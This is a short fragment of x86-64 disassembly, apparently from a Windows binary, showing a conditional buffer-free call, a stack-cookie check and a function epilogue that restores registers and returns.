cmp qword [rbp - 0x18], 0x10
jb 0x140009ef3
mov rcx, qword [rbp - 0x30]
call fcn.14000c5e0
mov al, bl
jmp 0x140009efc
mov eax, 1
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.14000bf30
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret